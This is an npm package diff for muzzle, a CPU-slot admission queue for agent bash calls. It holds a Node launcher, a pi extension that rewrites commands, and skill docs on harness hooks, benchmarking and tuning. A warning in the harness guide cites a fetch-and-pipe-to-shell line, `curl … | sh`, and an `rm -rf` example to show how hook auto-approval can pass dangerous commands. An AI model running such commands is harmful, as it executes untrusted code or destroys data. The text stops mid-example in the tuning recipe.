@mu-crew/muzzle 0.0.0-stage → 0.1.0

package/bin/muzzle

@@ -0,0 +1,60 @@
+#!/usr/bin/env node
+
+const { spawn } = require("node:child_process");
+
+const packages = {
+  "linux-x64": "@mu-crew/muzzle-linux-x64",
+  "linux-arm64": "@mu-crew/muzzle-linux-arm64",
+  "darwin-arm64": "@mu-crew/muzzle-darwin-arm64",
+};
+const platform = `${process.platform}-${process.arch}`;
+const packageName = packages[platform];
+
+if (!packageName) {
+  console.error(
+    `muzzle: unsupported platform ${platform}; supported platforms: ${Object.keys(packages).join(", ")}`,
+  );
+  process.exit(1);
+}
+
+let binary;
+try {
+  binary = require.resolve(`${packageName}/bin/muzzle`);
+} catch {
+  console.error(
+    `muzzle: could not find ${packageName}; reinstall @mu-crew/muzzle for ${platform}`,
+  );
+  process.exit(1);
+}
+
+// D16: muzzle must be the process pi (or a shell) put at the head of the
+// group, or it moves the job to a group of its own and a SIGKILL of the
+// original group leaks the job and its slots. execve replaces node with
+// muzzle in place, keeping the pid and the group. Node >= 22.15 / 23.11.
+if (typeof process.execve === "function") {
+  try {
+    process.execve(binary, [binary, ...process.argv.slice(2)], process.env);
+  } catch {
+    // fall through to spawn, which reports the error
+  }
+}
+
+// Older Node: run muzzle as a child and forward signals. A group SIGKILL
+// still leaks the job here.
+const child = spawn(binary, process.argv.slice(2), { stdio: "inherit" });
+const signals = ["SIGINT", "SIGTERM", "SIGHUP"];
+for (const signal of signals) {
+  process.on(signal, () => child.kill(signal));
+}
+child.on("error", (error) => {
+  console.error(`muzzle: failed to run ${binary}: ${error.message}`);
+  process.exit(1);
+});
+child.on("exit", (code, signal) => {
+  if (signal) {
+    for (const handledSignal of signals) process.removeAllListeners(handledSignal);
+    process.kill(process.pid, signal);
+  } else {
+    process.exit(code ?? 1);
+  }
+});

package/extension/muzzle.ts

@@ -0,0 +1,223 @@
+// muzzle pi extension (spec §Integrations "pi extension"; D22, D24, D26).
+//
+// tool_call on bash: ask `muzzle wrap` for the rewrite (D22: matching,
+// quoting and the timeout move live in the CLI). On a match, run the wrapped
+// command with `--report <tmp>/<id>.json` and drop pi's own timeout, so the
+// queue wait can't trip it (D24: it is now `--run-timeout`).
+// tool_result: read the report, append `muzzle: waited Ws for N slots, ran
+// Rs` and a `muzzle` custom entry with the same numbers (D26).
+//
+// Nothing here may block a call: a missing binary or a failing wrap leaves
+// the call as it is. A throwing tool_call handler blocks the tool in pi, so
+// every path is caught.
+import { execFile } from "node:child_process";
+import { accessSync, closeSync, constants, mkdtempSync, openSync, readFileSync, readSync, rmSync, statSync } from "node:fs";
+import { createRequire } from "node:module";
+import { tmpdir } from "node:os";
+import { delimiter, join } from "node:path";
+import type { ExtensionAPI } from "@earendil-works/pi-coding-agent";
+
+const PLATFORM_PACKAGES: Record<string, string> = {
+  "linux-x64": "@mu-crew/muzzle-linux-x64",
+  "linux-arm64": "@mu-crew/muzzle-linux-arm64",
+  "darwin-arm64": "@mu-crew/muzzle-darwin-arm64",
+};
+
+// `muzzle wrap` only reads config and matches a regex; it answers in a few
+// ms. A wedged one must not hold the call for long.
+const WRAP_TIMEOUT_MS = 5000;
+
+export interface FindOptions {
+  /** Resolve a package-relative path, as `require.resolve` does. */
+  resolve?: (id: string) => string;
+  platform?: string;
+  path?: string;
+}
+
+function isExecutable(file: string): boolean {
+  try {
+    if (!statSync(file).isFile()) return false;
+    accessSync(file, constants.X_OK);
+    return true;
+  } catch {
+    return false;
+  }
+}
+
+/**
+ * A script, not the binary: bin/muzzle from a global `npm i -g` is a node
+ * shim. On a Node without process.execve it runs muzzle as a child, so
+ * muzzle isn't the group leader and pi's group SIGKILL leaks the job and its
+ * slots (D16).
+ */
+function isScript(file: string): boolean {
+  let fd: number | undefined;
+  try {
+    fd = openSync(file, "r");
+    const head = Buffer.alloc(2);
+    return readSync(fd, head, 0, 2, 0) === 2 && head.toString("latin1") === "#!";
+  } catch {
+    return false;
+  } finally {
+    if (fd !== undefined) closeSync(fd);
+  }
+}
+
+/**
+ * The binary from this package's platform dependency first, then `muzzle` on
+ * PATH; null when neither exists. The platform binary is used directly,
+ * not through bin/muzzle, so a wrapped call doesn't pay for a node start
+ * and muzzle leads the bash group (D16). PATH entries that are scripts are
+ * skipped for the same reason.
+ */
+export function findMuzzle(opts: FindOptions = {}): string | null {
+  const resolve = opts.resolve ?? createRequire(import.meta.url).resolve;
+  const pkg = PLATFORM_PACKAGES[opts.platform ?? `${process.platform}-${process.arch}`];
+  if (pkg) {
+    try {
+      const own = resolve(`${pkg}/bin/muzzle`);
+      if (isExecutable(own)) return own;
+    } catch {
+      // not installed for this platform; fall through to PATH
+    }
+  }
+  for (const dir of (opts.path ?? process.env.PATH ?? "").split(delimiter)) {
+    if (!dir) continue;
+    const candidate = join(dir, "muzzle");
+    if (isExecutable(candidate) && !isScript(candidate)) return candidate;
+  }
+  return null;
+}
+
+/** POSIX single quoting, as `muzzle wrap` does it. */
+export function shellQuote(s: string): string {
+  return `'${s.replace(/'/g, `'\\''`)}'`;
+}
+
+/** A file name for a toolCallId. Nested ids carry `/` (`<parent>/<n>`). */
+export function reportName(toolCallId: string): string {
+  return `${toolCallId.replace(/[^A-Za-z0-9_-]/g, (c) => `%${c.charCodeAt(0).toString(16)}`)}.json`;
+}
+
+export interface Report {
+  waited_s: number;
+  ran_s: number;
+  slots: number | null;
+  class: string | null;
+  rule: string | null;
+  exit: number;
+  enforced: boolean;
+  kept?: boolean;
+}
+
+/** D26, the same text `muzzle run` prints when `--report` is unset. */
+export function resultLine(r: Report): string {
+  // D17: a nested run claims nothing; its report has no slots.
+  if (r.slots === null) return `muzzle: nested in an outer claim, ran ${Math.round(r.ran_s)}s`;
+  return `muzzle: waited ${Math.round(r.waited_s)}s for ${r.slots} slots, ran ${Math.round(r.ran_s)}s`;
+}
+
+function wrap(bin: string, command: string, cwd: string, timeout?: number): Promise<string | null> {
+  const args = ["wrap", "--json", "--cwd", cwd];
+  if (typeof timeout === "number") args.push("--timeout", String(timeout));
+  args.push("--", command);
+  return new Promise((resolve, reject) => {
+    execFile(bin, args, { timeout: WRAP_TIMEOUT_MS }, (err, stdout, stderr) => {
+      if (err) return reject(new Error(stderr.trim() || err.message));
+      try {
+        const reply = JSON.parse(stdout);
+        resolve(typeof reply.command === "string" ? reply.command : null);
+      } catch (e) {
+        reject(e);
+      }
+    });
+  });
+}
+
+export interface Deps {
+  findBinary?: () => string | null;
+  tmpRoot?: string;
+}
+
+export function createExtension(deps: Deps = {}) {
+  const findBinary = deps.findBinary ?? (() => findMuzzle());
+  return function (pi: ExtensionAPI) {
+    let bin: string | null | undefined;
+    let reportDir: string | undefined;
+    const pending = new Map<string, string>();
+    // A wrap-failure warning is on the footer; the next good wrap clears it.
+    let wrapWarned = false;
+
+    const warn = (ctx: { ui: { setStatus(key: string, text: string | undefined): void } }, text: string | undefined) => {
+      try {
+        ctx.ui.setStatus("muzzle", text);
+      } catch {
+        // no UI in this mode
+      }
+    };
+
+    pi.on("tool_call", async (event, ctx) => {
+      try {
+        if (event.toolName !== "bash") return;
+        const input = event.input as { command?: unknown; timeout?: unknown };
+        if (typeof input.command !== "string") return;
+        if (bin === undefined) {
+          bin = findBinary();
+          // Looked up once per runtime, so the warning shows once.
+          if (bin === null) warn(ctx, "muzzle not found: bash calls run unwrapped");
+        }
+        if (bin === null) return;
+        const timeout = typeof input.timeout === "number" ? input.timeout : undefined;
+        const wrapped = await wrap(bin, input.command, ctx.cwd, timeout);
+        if (wrapWarned) {
+          wrapWarned = false;
+          warn(ctx, undefined);
+        }
+        if (wrapped === null || !wrapped.startsWith("muzzle run ")) return;
+        reportDir ??= mkdtempSync(join(deps.tmpRoot ?? tmpdir(), "muzzle-pi-"));
+        const report = join(reportDir, reportName(event.toolCallId));
+        rmSync(report, { force: true });
+        input.command = `${shellQuote(bin)} run --report ${shellQuote(report)} ${wrapped.slice("muzzle run ".length)}`;
+        delete input.timeout;
+        pending.set(event.toolCallId, report);
+      } catch (e) {
+        wrapWarned = true;
+        warn(ctx, `muzzle wrap failed, calls run unwrapped: ${e instanceof Error ? e.message : String(e)}`);
+      }
+    });
+
+    pi.on("tool_result", async (event) => {
+      const report = pending.get(event.toolCallId);
+      if (report === undefined) return;
+      pending.delete(event.toolCallId);
+      let r: Report;
+      try {
+        r = JSON.parse(readFileSync(report, "utf8"));
+      } catch {
+        // No report: aborted or killed before muzzle could write it.
+        return;
+      } finally {
+        rmSync(report, { force: true });
+      }
+      const line = resultLine(r);
+      const content = [...event.content];
+      const last = content[content.length - 1];
+      if (last?.type === "text") {
+        content[content.length - 1] = { ...last, text: last.text.trimEnd() ? `${last.text.trimEnd()}\n\n${line}` : line };
+      } else {
+        content.push({ type: "text", text: line });
+      }
+      pi.appendEntry("muzzle", { toolCallId: event.toolCallId, ...r });
+      // Keep structuredContent: replacing content alone would drop it.
+      return { content, structuredContent: event.structuredContent };
+    });
+
+    pi.on("session_shutdown", async () => {
+      if (reportDir) rmSync(reportDir, { recursive: true, force: true });
+      reportDir = undefined;
+      pending.clear();
+    });
+  };
+}
+
+export default createExtension();

package/extension/package.json

@@ -0,0 +1,3 @@
+{
+  "type": "module"
+}

package/package.json

@@ -1,6 +1,49 @@
 {
   "name": "@mu-crew/muzzle",
-  "version": "0.0.0-stage",
-  "stub": true,
-  "description": "Temporary package placeholder for staged publishing"
-}
+  "version": "0.1.0",
+  "description": "Per-host admission for heavy commands, with a run log that tunes itself",
+  "license": "MIT",
+  "repository": {
+    "type": "git",
+    "url": "git+https://github.com/mu-crew/muzzle.git"
+  },
+  "keywords": [
+    "pi-package",
+    "pi-coding-agent",
+    "agents",
+    "cpu",
+    "queue"
+  ],
+  "bin": {
+    "muzzle": "bin/muzzle"
+  },
+  "files": [
+    "bin/muzzle",
+    "extension",
+    "skills"
+  ],
+  "scripts": {
+    "test": "node --test 'test/*.test.ts'"
+  },
+  "pi": {
+    "extensions": [
+      "./extension/muzzle.ts"
+    ],
+    "skills": [
+      "./skills"
+    ]
+  },
+  "peerDependencies": {
+    "@earendil-works/pi-coding-agent": "*"
+  },
+  "peerDependenciesMeta": {
+    "@earendil-works/pi-coding-agent": {
+      "optional": true
+    }
+  },
+  "optionalDependencies": {
+    "@mu-crew/muzzle-linux-x64": "0.1.0",
+    "@mu-crew/muzzle-linux-arm64": "0.1.0",
+    "@mu-crew/muzzle-darwin-arm64": "0.1.0"
+  }
+}

package/skills/muzzle/SKILL.md

@@ -0,0 +1,109 @@
+---
+name: muzzle
+description: Per-host admission for heavy commands (gates, builds, test suites). Use when a bash result carries a `muzzle:` line (queued, admitted, waited/ran, gave up, killed while queued), when wrapping a heavy command by hand with `muzzle run`, when tuning muzzle's weights or benchmarking it, or when hooking muzzle into a harness.
+---
+
+# muzzle
+
+muzzle queues each heavy command for a weighted share of this machine's slot
+budget (cores minus a reserve), runs it, and logs what it used. Rules in
+`~/.config/muzzle/config.toml` decide which commands claim slots and how
+many. A command that matches no rule runs at once, unclaimed. There is no
+daemon: every waiting muzzle re-checks the queue itself. `muzzle <cmd> --help`
+is the reference for flags; this skill covers what the help can't tell you.
+
+In pi, the muzzle extension wraps matching bash calls for you. Elsewhere you
+wrap by hand, or a harness hook does it.
+
+## Reading muzzle's lines
+
+| line (stderr, or appended to a pi result) | means | do |
+| --- | --- | --- |
+| `muzzle: queued 3/5, 14/14 slots held (worker-7 gate 6, …)` | waiting; printed every 30 s. Holders read `agent rule slots` | wait. The command has not started |
+| `muzzle: admitted after 312s (6 slots)` | the wait ended, the command starts now | nothing |
+| `muzzle: waited 312s for 6 slots, ran 241s` | the run finished; the exit status is the command's own | judge the command by its output, not by the wait |
+| `muzzle: nested in an outer claim, ran 4s` | it ran inside another claim and took no slots | nothing |
+| `muzzle: gave up after 60s queued (position 2/4, --timeout)` | exit 75: `--timeout` expired before admission, nothing ran | retry later, or drop `--timeout` |
+| `muzzle: killed while queued (position 2/4, waited 120s). Put timeout inside …` | something killed muzzle while it waited: usually a harness or `timeout` counting the wait | move the timeout (below); nothing ran |
+
+A long wait is the queue working, not a failure: other gates are using the
+machine. Run `muzzle status` to see who holds the slots.
+
+## Wrapping by hand
+
+```sh
+muzzle run --rule cargo-test -- cargo test --locked
+muzzle run --rule gate --run-timeout 900 -- contrib/fast-gate
+```
+
+- `--rule NAME` alone takes the weight from the config, so a later tuning
+  applies. `--slots N` pins the weight and overrides the config. A name the
+  config doesn't have prints `rule NAME is not in the config; claiming 1
+  slot(s)` and runs: fix the name from the `name =` lines in the config.
+- **muzzle is the whole command.** Start the call with `muzzle`, and put
+  pipes, `cd` and `&&` inside `bash -c`:
+  `muzzle run --rule gate -- bash -c 'cd repo && contrib/fast-gate 2>&1 | tail -50'`.
+  `CMD` runs as argv, not through a shell, so a bare pipe can't go there.
+- Piped or followed by another command (`muzzle run … | tail`), muzzle no
+  longer leads the shell's process group. Esc or a pi timeout then kills
+  muzzle but leaves the job running, holding its slots.
+- In pi, a call that doesn't start with `muzzle` (`cd repo && muzzle run
+  --class high …`) is wrapped again by the extension. The inner run is
+  nested, so its `--class`, `--slots` and `--run-timeout` are ignored.
+- **`timeout` goes inside `muzzle run`, never outside it.** An outer
+  `timeout` counts the queue wait and kills the gate before it starts. Use
+  `--run-timeout S`, which counts from admission and exits 124.
+- In pi, a command that starts with `muzzle ` is left alone by the
+  extension, so pi's own bash `timeout` still counts the wait. Give a
+  hand-wrapped call no pi timeout, and put the limit in `--run-timeout`.
+- muzzle sets `CARGO_BUILD_JOBS`, `RUST_TEST_THREADS`, `MAKEFLAGS` and
+  `MUZZLE_SLOTS` from the claim and overwrites any it inherits. Drop
+  hand-set caps from the command; an assignment inside the command string
+  still wins.
+- A background launch (`(gate > log 2>&1 &)`) keeps its slots: `muzzle run`
+  returns at once and a keeper holds the claim until the job exits. Polling
+  the log is fine. A poll that repeats the gate's command line would claim a
+  second time, so poll with `tail` or `muzzle status`.
+
+## Escape options
+
+- **Unblocking work goes first with `--class high`**: a merge check or fix
+  that other agents are waiting on. High waiters go ahead of every normal
+  waiter. They never stop a running job. Agents spawned by mu
+  (`MU_MANAGED_AGENT=1`) default to `normal`, humans and other callers to
+  `high`. `MUZZLE_CLASS=high` in the environment does the same for every
+  call in that shell.
+  `muzzle run --class high --rule gate -- contrib/fast-gate`
+- **Light commands run without muzzle**: status checks, reads, `git`, a
+  quick script. Leave them unwrapped when wrapping by hand; a command that
+  matches no rule never queues. If muzzle claims slots for a command that
+  only names a gate (a `grep`, a heredoc), the rule pattern is too loose.
+  Fix the config ([tune.md](recipes/tune.md), step 3) rather than working
+  around it per call.
+
+## Enforced or advisory
+
+`muzzle status` and `muzzle doctor` say `enforced` or `advisory`.
+
+- **enforced**: Linux with a systemd user manager. The job runs in a scope
+  with a memory cap of the claim's share of RAM and a CPU weight. A job
+  that exceeds the cap is killed and logged as `killed: "oom"`. Ask for more
+  slots, or tune the rule.
+- **advisory**: macOS, a container, or no user manager. Admission and the
+  queue still work. Nothing caps the job, and CPU and memory figures come
+  from rusage.
+- A job that enters a container (`distrobox enter`, `podman exec`,
+  `toolbox run`, `docker exec`) is admitted but not capped or measured, and
+  is logged `enforced: false`. If the caller is killed, the job may keep
+  running in the container. Its slots stay held until it exits, so find
+  and kill it there.
+
+## Recipes
+
+- Changing a rule's weight or pattern, reading `muzzle report`:
+  [recipes/tune.md](recipes/tune.md).
+- Making a trace, replaying it, the interactive probe:
+  [recipes/bench.md](recipes/bench.md).
+- Installing or checking pi, Claude Code, Codex, opencode, or hand-wrapping;
+  harness timeouts; why a hook's `allow` skips the permission prompt:
+  [recipes/harnesses.md](recipes/harnesses.md).

package/skills/muzzle/recipes/bench.md

@@ -0,0 +1,125 @@
+# Benchmark muzzle on a real day
+
+Make a trace from museum, check it, replay it without and with muzzle, and
+read the summary. Run from a clone of the muzzle repo: the trace tools live
+in its `bench/` directory, and `bench/README.md` there is the full
+reference.
+
+A trace is the one artefact here that gets published, so the sensitivity
+rules come first.
+
+## Sensitivity rules
+
+- **linuxpc only.** The importer reads only `linuxpc/` session files and
+  refuses other hosts. The checker rejects a trace that names any other.
+- **No command text, paths, names or other hosts in a trace.** Rows keep
+  only allowlisted fields. Agents become `a1, a2, …` and projects
+  `p1, p2, …`. `--keep-project NAME` keeps a name you have already made
+  public, and it also needs a `project NAME` line in
+  `bench/allowed-labels.txt`.
+- **The sidecar stays local.** The mapping from each row back to its command
+  goes to `$XDG_STATE_HOME/muzzle/bench/<trace>.private.jsonl`. It is never
+  committed, and the pre-commit hook refuses it.
+- **`runs.jsonl` is never published**, including the one a replay writes
+  under `--out`. `result.json` and `summary.md` carry no paths or command
+  text, and are the files that go in `docs/bench/`.
+
+## 1. Make the trace
+
+Install the pre-commit hook once per clone:
+
+```sh
+ln -s ../../bench/pre-commit "$(git rev-parse --git-common-dir)/hooks/pre-commit"
+```
+
+Then import one UTC day:
+
+```sh
+bench/from-museum --date 2026-10-21
+```
+
+Rule labels come from your live config, through `muzzle match` run
+locally. Waits and polls are labelled `light`, and an unmatched call of
+30 s or more is `unmatched-heavy`. A rule name missing from
+`allowed-labels.txt` stops the import: add a `rule NAME` line and re-run.
+
+Measured durations exist only from 2026-10-17. Earlier days are
+estimated, so use them as a workload to replay and not as a baseline. Each
+row's `dur_src` says which it is.
+
+## 2. Check it
+
+```sh
+bench/check-trace
+```
+
+With no arguments it checks every file under `bench/traces/`. Errors name
+the line, field and kind, never the value. Before committing a first batch
+of traces from a new source, have one read-only refuter look for
+identifying timing or label patterns the schema would let through.
+
+**Done when** `check-trace` passes and nothing under `bench/` but
+`traces/*.jsonl` is staged.
+
+## 3. Tier 1: synthetic, anywhere
+
+CPU burners sized to each call's rule. Cheap and repeatable, and runs on
+macOS:
+
+```sh
+muzzle bench run bench/traces/2026-10-21.jsonl --mode none --tier synthetic --window busiest:3h --speed 10 --out /tmp/b-none
+muzzle bench run bench/traces/2026-10-21.jsonl --mode muzzle --tier synthetic --window busiest:3h --speed 10 --out /tmp/b-muzzle
+```
+
+- `--mode none` is today's practice: every call starts at its offset with
+  the role caps as `CARGO_BUILD_JOBS` (orchestrator 6, worker 4, others 2)
+  and no queue.
+- `--mode muzzle` runs every matched call through `muzzle run` with your
+  current config and a private state directory under `--out`.
+- `--window busiest:3h` replays the 3 hours with the most matched
+  call-seconds. `--speed 10` compresses time tenfold. Use `--speed 1` for
+  figures you intend to quote.
+- Run nothing else heavy meanwhile: a replay measures the whole machine.
+
+## 4. Tier 2: real commands, linuxpc
+
+Copy `bench/real.toml.example` to `bench/real.toml` (gitignored) and fill
+in the repo, pinned commit, worktree directory, setup command and one
+command per rule label. Each replayed agent gets its own worktree, built
+once before the replay so both modes start equally warm.
+
+```sh
+muzzle bench run bench/traces/2026-10-21.jsonl --mode none --tier real --window busiest:3h --out /tmp/r-none
+muzzle bench run bench/traces/2026-10-21.jsonl --mode muzzle --tier real --window busiest:3h --out /tmp/r-muzzle
+```
+
+A real-speed busiest window takes about 3 hours per mode. Run it
+overnight.
+
+## 5. Read `summary.md`
+
+Each `--out` directory has `summary.md` (and `result.json` with the same
+figures). Put the two modes side by side:
+
+- **makespan and throughput**: the cost. A queue can make the whole window
+  take longer.
+- **wait p50/p90 and run p50/p90**: where the time went. Under muzzle,
+  waiting replaces contention.
+- **most slots held**: never above the budget under muzzle.
+- **git status p95 and 10 ms sleep late p99**: the interactive probe. This
+  is what the queue buys.
+- **load1 p50/max and OOM kills.**
+
+Report slowdowns as plainly as gains.
+
+## The probe on its own
+
+`muzzle bench probe` samples the same interactive figures without a
+replay, one JSON line per sample. For a week of live use, a cron line every
+5 minutes:
+
+```crontab
+*/5 * * * * $HOME/.local/bin/muzzle bench probe --out $HOME/.local/state/muzzle/bench/probe.jsonl
+```
+
+By hand: `muzzle bench probe --samples 12 --interval 5`.

package/skills/muzzle/recipes/harnesses.md

@@ -0,0 +1,149 @@
+# Hook muzzle into a harness
+
+Install, then check, one harness at a time. Every integration calls
+`muzzle wrap` or `muzzle hook`, which do the matching, quoting and timeout
+handling. The full snippets and payload notes are in the muzzle repo's
+[`docs/harnesses/README.md`](https://github.com/mu-crew/muzzle/blob/main/docs/harnesses/README.md).
+
+First, for every harness:
+
+```sh
+npm i -g @mu-crew/muzzle
+muzzle doctor
+```
+
+`doctor` must show the config with its rule count and hash, and
+`enforced` or `advisory`. It also reports each harness as found or not.
+
+## Limits
+
+| harness | how | timeout | `allow` | tested |
+| --- | --- | --- | --- | --- |
+| pi | extension rewrites the bash call | moved to `--run-timeout`: the wait never trips it | n/a: pi has no permission prompt | yes |
+| Claude Code | `PreToolUse` hook, `muzzle hook claude` | passed on as `--run-timeout`, but Claude's own Bash timeout still counts the wait | only for one simple command whose rule matches at the command word | yes, stored payloads |
+| Codex | `PreToolUse` hook, `muzzle hook codex` | the payload has none; Codex's shell timeout counts the wait | always, compound commands too | yes, stored payloads |
+| opencode | example plugin calling `muzzle wrap` | passed on, still counts the wait | n/a | **no** |
+| Cursor, aider, cron, humans | wrap by hand | use `--run-timeout` | n/a | n/a |
+
+Cursor's `beforeShellExecution` hook can only allow or deny, so it can't
+rewrite a call.
+
+## pi
+
+```sh
+pi install npm:@mu-crew/muzzle
+```
+
+This loads the extension and this skill. Check: a matched bash call's
+result ends with `muzzle: waited Ws for N slots, ran Rs`, and the call
+shows in `muzzle status` while it runs. If muzzle is missing, the footer
+says so once and calls run unwrapped. Esc or a pi timeout kills the bash
+group, muzzle and the job with it, and frees the slots.
+
+## Claude Code
+
+Merge into `~/.claude/settings.json` (or a repo's `.claude/settings.json`):
+
+```json
+{
+  "hooks": {
+    "PreToolUse": [
+      {
+        "matcher": "Bash",
+        "hooks": [{ "type": "command", "command": "muzzle hook claude" }]
+      }
+    ]
+  }
+}
+```
+
+Then raise the Bash timeout ceiling, because Claude's timeout counts the
+queue wait: set `BASH_MAX_TIMEOUT_MS` (and `BASH_DEFAULT_TIMEOUT_MS`) in
+the `env` block of `settings.json`. A call killed while queued prints
+muzzle's `killed while queued` line.
+
+## Codex
+
+Merge into `~/.codex/hooks.json` (or a trusted repo's `.codex/hooks.json`):
+
+```json
+{
+  "hooks": {
+    "PreToolUse": [
+      {
+        "matcher": "^Bash$",
+        "hooks": [{ "type": "command", "command": "muzzle hook codex" }]
+      }
+    ]
+  }
+}
+```
+
+Codex asks you to trust a new hook; review it with `/hooks`. Read the
+warning below before enabling it.
+
+## Warning: `allow` skips the harness's permission prompt
+
+A hook reply with `permissionDecision: "allow"` approves the call, so the
+harness doesn't ask you. muzzle's rules match anywhere in the string, so
+`cargo build && curl -s https://example.com/x | sh` matches a cargo rule.
+
+- **Codex always gets `allow`**, because it rejects a rewrite without one.
+  A matched call is approved by muzzle, compound commands included. Use
+  the Codex hook only where you would approve those calls anyway, or keep
+  the rules narrow.
+- **Claude Code gets `allow` only when the rule names the program**: one
+  simple command (no `;`, `&`, `&&`, `|`, `||`, newline, `$(…)`, backticks,
+  process substitution or subshell outside quotes) whose matched pattern
+  starts at the command word, after assignments and `env`, `time`,
+  `timeout [opts] N` or `nice`. A match in an argument or a comment
+  (`echo cargo test`, `rm -rf ~/x # cargo test`) doesn't count. Anything
+  else is rewritten with no decision, so
+  Claude's own check runs on `muzzle run … -- bash -c '…'`, and since your
+  `Bash(cargo build:*)` rules don't match that form, it prompts.
+- **Keep `Bash(muzzle run:*)` out of Claude's allow rules.** It would
+  approve every wrapped string, including the compound ones muzzle left
+  for you to review.
+
+## opencode (untested)
+
+Copy `examples/opencode-muzzle.ts` from the muzzle repo to
+`.opencode/plugins/` or `~/.config/opencode/plugins/`. No test runs it.
+Check that a matched command shows in `muzzle status` while it runs: some
+opencode versions ignore the rewritten command.
+
+## Hand-wrapping and gate scripts
+
+```sh
+muzzle run --rule gate -- contrib/fast-gate
+```
+
+`timeout` goes inside, as `--run-timeout S`; an outer `timeout` counts the
+wait. A repo's gate script can opt in at the top and still work without
+muzzle. The variable stops the re-exec from looping:
+
+```sh
+if [ -z "$IN_MUZZLE" ] && command -v muzzle >/dev/null; then
+  IN_MUZZLE=1 exec muzzle run --rule gate -- "$0" "$@"
+fi
+```
+
+## PATH shims, do it yourself
+
+muzzle ships none. They add work to every call, nest badly and catch
+interactive use. If you want every `cargo` to go through muzzle anyway, a
+script named `cargo` earlier on `PATH` that runs
+`exec muzzle run --rule cargo-test -- /usr/bin/cargo "$@"` works. It claims
+slots for `cargo fmt` and `cargo --version` too.
+
+## Checking a hook by hand
+
+`muzzle doctor` reports `claude hook` and `codex hook` as `installed` when
+it finds `muzzle hook` in that harness's config. To see a reply:
+
+```sh
+echo '{"hook_event_name":"PreToolUse","tool_name":"Bash","tool_input":{"command":"cargo test"}}' | muzzle hook claude
+```
+
+A matched command comes back as `updatedInput` with the `muzzle run …`
+form; an unmatched one comes back as `{}`.

package/skills/muzzle/recipes/tune.md

@@ -0,0 +1,153 @@
+# Tune muzzle's weights
+
+The loop that turns `runs.jsonl` into weights. muzzle never edits its
+config. You do, one rule at a time, and you keep a change only when the
+numbers agree. Every run records the config hash, rule and slots it ran
+under, so `report --compare` can split by them later.
+
+Run on the host whose config you are changing. `runs.jsonl` is local machine
+state: read it here, and never publish it.
+
+## 1. Read the report, machine figures first
+
+```sh
+muzzle report --since 7d
+```
+
+Read the machine section before the rows:
+
+| figure | high means |
+| --- | --- |
+| blocked-idle (slot-s) | slots sat free while someone waited: the head of the queue is too big to fit, so everything behind it waits (strict FIFO). Shrink the over-sized rule |
+| CPU efficiency (low) | claims are bigger than the jobs use: weights too big |
+| utilisation near 100% while the machine's CPU stays low | the budget is saturated but the cores aren't: the reserve is too big |
+| queue non-empty | how often anyone waited at all. Near 0% means the weights cost nothing yet |
+
+Then the rows. `suggest` names its evidence and carries a tag:
+
+- `N measured (p90 cores X over K clean runs)`: from at least 5 clean runs
+  (exit 0, not killed). Memory can only raise it.
+- `try N experiment (saturated at M)`: cores p50 is at the weight, so the
+  job may want more. Untested until step 5 confirms it.
+- `N oom (…)`: the scope killed runs at the memory cap. This covers their
+  peak plus 25%.
+- `insufficient data (K runs)`: fewer than 5 clean runs. Wait for more.
+- `not measured (container)`: those runs entered a container, so muzzle
+  saw no CPU or memory. No suggestion can come from them.
+
+Narrow to one rule with `--rule NAME`, or to a period with `--since D`
+and `--until D` (`now`, `7d`, `12h`, `30m`, `YYYY-MM-DD`, or RFC 3339).
+
+**Done when** you have written down, for the rule you will change, its
+current slots, run p50/p90, cores p50/p90 and the suggestion.
+
+## 2. Find heavy commands no rule matches
+
+`report` can't see these: an unmatched command never reaches muzzle. Look
+in museum:
+
+```sh
+museum-search calls --min-secs 30 --tool bash
+```
+
+Check a candidate against the live config with
+`muzzle match -- 'contrib/gate --full'`. It prints the rule, or `no rule
+matches`.
+
+## 3. Edit the config
+
+`~/.config/muzzle/config.toml`. Change one rule per round, so the next
+report shows what that change did.
+
+- **Weights**: set `slots` to the suggestion. For an `experiment`, that
+  is the `try N` value, and step 5 decides whether it stays.
+- **New rules**: give each a `name`. The name is the label in reports and
+  history, so keep it when the pattern changes.
+- **False positives**: a pattern that matches anywhere in the string also
+  claims slots for commands that only *mention* the gate: a heredoc, a
+  `grep`, a `pgrep -f` poll, a `cat` of the script. A poll that claims
+  holds the gate's slots a second time while the real gate runs. Anchor the
+  command word in command position: start of the string, after `;`, `&`,
+  `|`, `(` or a newline, or just inside a `-c '…'` quote.
+  `bench/linuxpc-config.toml` in the muzzle repo has worked patterns.
+  Test both sides of the anchor:
+
+  ```sh
+  muzzle match -- 'cd repo && contrib/fast-gate'
+  muzzle match -- 'pgrep -f contrib/fast-gate'
+  ```
+
+Check the edit loads, and note the new hash:
+
+```sh
+muzzle doctor
+```
+
+A bad config exits 2 and names the key.
+
+**Hand-wrapped calls carry their own weight.** A `--slots` on
+`muzzle run` overrides the config, so editing the config changes nothing for briefs,
+scripts or cron lines that pass `--slots`. Update those too, or change them
+to `--rule NAME` alone, which reads the weight from the config. The pi
+extension and the harness hooks read the config on every call. Renaming a
+rule breaks every `--rule OLD`: those calls warn `rule OLD is not in the
+config; claiming 1 slot(s)` and under-claim until they are updated.
+
+## 4. Check it on a replay
+
+Before living with the change, replay a recent trace at tier 1 against the
+old and the new config. The trace's busiest window is where weights matter.
+See [bench.md](bench.md) for making a trace.
+
+```sh
+muzzle bench run bench/traces/2026-10-21.jsonl --mode muzzle --tier synthetic --window busiest:3h --speed 10 --out /tmp/tune-after
+```
+
+Run the same command with the old config in place and `--out
+/tmp/tune-before`, then compare the two `summary.md` files: makespan, wait
+p90, most slots held and the probe. A tier-1 replay burns CPU for each
+rule's slots, so it shows queueing and contention, not whether the real
+job wants more cores. Step 5 settles that.
+
+## 5. Keep it, then compare live windows
+
+After a few days, or at least 5 clean runs at the new weight:
+
+```sh
+muzzle report --compare 2026-11-01..2026-11-03 2026-11-04..now --rule cargo-test
+```
+
+The output shows both periods, split by config hash when it changed inside
+one, then an `A -> C` table of deltas. An experiment reads `confirmed` when
+run p50 fell, `rejected` when it didn't.
+
+Rules for reading it (from tuning muzzle's own gate, 2026-10-29):
+
+- **Compare windows only after the last change to the gated code.** A suite
+  that grew between the windows moves run time on its own. In that dogfood
+  run, run p90 went from 34 s to 58 s while the weight went down, because
+  the suite had grown.
+- **Prefer cores over wall time.** Cores used (`cpu_s / ran_s`) says what
+  the job can use. Wall time also measures the code and the machine.
+- **Change a weight only when two windows agree.** Both must come after the
+  last suite change. One window's suggestion moves with the code. The same
+  rule suggested 2 over one hour and 4 over the next, so a weight tuned
+  from one window oscillates.
+
+Revert when the change made p90 or the wait worse and the code didn't move.
+
+## 6. Say why, next to the rule
+
+Add one comment line above or below the edited rule: the evidence and the
+date.
+
+```toml
+[[rule]]
